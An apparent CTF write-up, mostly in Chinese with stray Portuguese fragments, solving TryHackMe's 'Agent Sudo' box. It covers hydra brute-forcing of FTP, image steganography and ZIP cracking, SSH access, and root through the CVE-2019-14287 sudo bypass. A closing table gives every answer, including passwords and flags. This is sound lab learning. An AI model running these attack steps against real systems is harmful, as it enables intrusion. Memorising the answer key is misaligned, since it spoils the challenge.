TryHackMe 上 Sudo Agent CTF 的解题报告,涵盖枚举、Web 漏洞利用、隐写术、SSH 以及通过 CVE-2019-14287 进行权限提升。

Sudo Agent CTF(TryHackMe)的 Write-up,包含枚举、Web 漏洞利用、隐写术、SSH 以及通过 CVE-2019-14287 进行的权限提升。
| 项目 | 信息 |
|---|---|
| 平台 | TryHackMe |
| 系统 | Linux |
| 难度 | Easy |
| 目标 | Web 漏洞利用、FTP、SSH、隐写术和权限提升 |
| CVE | CVE-2019-14287 |
| 状态 | 已完成 ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
侦察阶段的第一步是识别开放的端口。 我使用 nmap 进行了端口扫描:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
在分析 Web 应用程序时,我遇到了以下消息:
该 Web 应用程序显示了 Agent R 的一条消息,表明访问取决于特定的 User-Agent。
我使用 User-Agent switcher 将 User-Agent 修改为 REDACTED,随后便能看到以下消息:
该消息泄露了其中一名 agent 的信息,并表明其密码强度较弱。
在获得该用户名并得知其密码强度较弱后,我使用 hydra 进行了暴力破解:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
O hydra 成功返回了 agentC 的密码!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
获得的凭据使得能够访问 FTP 服务。
在 FTP 中发现了文本文件和图像。
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Baixei os arquivos para analisá-los.
Iniciei a análise visualizando o conteúdo do arquivo de texto To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
该文件是 agent C 发送给 agent J 的一条消息。我们发现其中一个图像文件中存在隐藏的凭据。
使用 Binwalk 工具,我识别出 cutie.png 文件包含一个加密的 ZIP 文件,其内容是 To_agentR.txt 文件。
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
为了读取该文件,我需要先将其提取出来并找出它的密码。 我已完成文件的提取:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
Binwalk 显示 ZIP 文件从偏移量 34562 开始。我使用该值从该位置开始提取,并单独生成 ZIP 文件。
以及哈希提取:
zip2john *.zip > hash.txt
现在让我们借助 John The Ripper 来破解密码:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
解压文件后,我使用了找到的密码:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
我们有一段需要解码的 base64 代码
echo "QXJlYTUx" | base64 -d
REDACTED
获取用于隐写术的密码后,我使用 Steghide 提取了隐藏在 cute-alien.jpg 图像中的消息。
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
解码后的消息已发送到文件 message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
该消息中包含了 agent J 的名字及其密码。
我使用 agent J 的凭据通过 SSH 进行了访问。 成功访问后,我找到了名为 user_flag.txt 的文件以及另一个图像文件。
ls
Alien_autospy.jpg user_flag.txt
在通过 SSH 获得访问权限后,我找到了文件 Alien_autospy.jpg。
我对该图像进行了分析,随后使用 OSINT 技术来识别这张照片的来源和背景。
通过检索公开来源,成功将这张图像与该案件关联起来。

在尝试提升权限之前,我检查了当前用户的 sudo 权限:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
sudo -l 显示的配置存在 CVE-2019-14287 漏洞。
该漏洞允许通过使用特殊 UID(如 -1)绕过 sudo 的某些执行限制,在存在漏洞的版本中,该 UID 可能被解释为等同于 root 用户。
通过将用户指定为 -1,成功实现了权限提升:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
该命令获得了一个具有 root 权限的 shell。
利用获得的权限,我进入了 root 目录并访问了 root.txt 文件,在其中找到了最后两个 flag:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R
| 漏洞 / 技术 | 发生了什么 | 影响 |
|---|---|---|
| User-Agent 操纵 | 应用程序使用 User-Agent 来控制对页面的访问。 | 允许访问常规浏览中不可用的内容。 |
| 弱凭据 | 某个用户拥有一个弱且可预测的密码。 | 允许通过对 FTP 的暴力破解攻击发现该密码。 |
| 图片中隐藏的 ZIP 文件 | 一张图片中包含一个嵌入的加密 ZIP 文件。 | 允许获取额外信息并推进攻击链。 |
| 隐写术 | 一条包含凭据的消息被隐藏在图片中。 | 允许恢复用于 SSH 访问的密码。 |
| CVE-2019-14287(Sudo) | sudo 在处理 UID -1 时存在漏洞。 | 允许绕过执行限制并获得 root 权限。 |
| # | 问题 | 答案 |
|---|---|---|
| 1 | 有多少个开放端口? | 3 |
| 2 | 你如何将自己重定向到秘密页面? | User-Agent |
| 3 | 特工的名字是什么? | Chris |
| 4 | FTP 密码 | crystal |
| 5 | Zip 文件密码 | alien |
| 6 | 隐写密码 | Area51 |
| 7 | 另一名特工是谁(全名)? | james |
| 8 | SSH 密码 | hackerrules! |
| 9 | 用户 flag 是什么? | b03d975e8c92a7c04146cfa7a5a313c7 |
| 10 | 这张照片的事件叫什么? | Roswell alien autopsy |
| 11 | 提权对应的 CVE 编号 | CVE-2019-14287 |
| 12 | root flag 是什么? | b53a02f55b57d4439e3341834d70c062 |
| ⭐ | 附加题 — R 特工是谁? | DesKel |
Sudo Agent CTF 呈现了一条利用链,它从简单的侦察阶段开始,并逐步发展到获取 root 权限。
该利用过程涉及服务枚举、User-Agent 操纵、弱凭据发现、文件分析与隐写术、通过 SSH 访问以及权限提升。
该机器的关键点在于意识到利用过程中获得的每一条信息都作为下一步的起点。从最初访问 FTP 开始,就可以分析可用文件、恢复隐藏信息,并获得通过 SSH 访问系统所需的凭据。
在以普通用户身份访问后,对 sudo 权限的分析揭示了一个与 CVE-2019-14287 相关的易受攻击配置,允许绕过执行限制并获得具有 root 权限的 shell。
这个 CTF 强化了进行仔细枚举并串联所发现信息的重要性,同时展示了弱凭据、隐藏信息和过时软件如何被组合起来以完全攻陷一个系统。
状态:机器已攻陷 ✅👽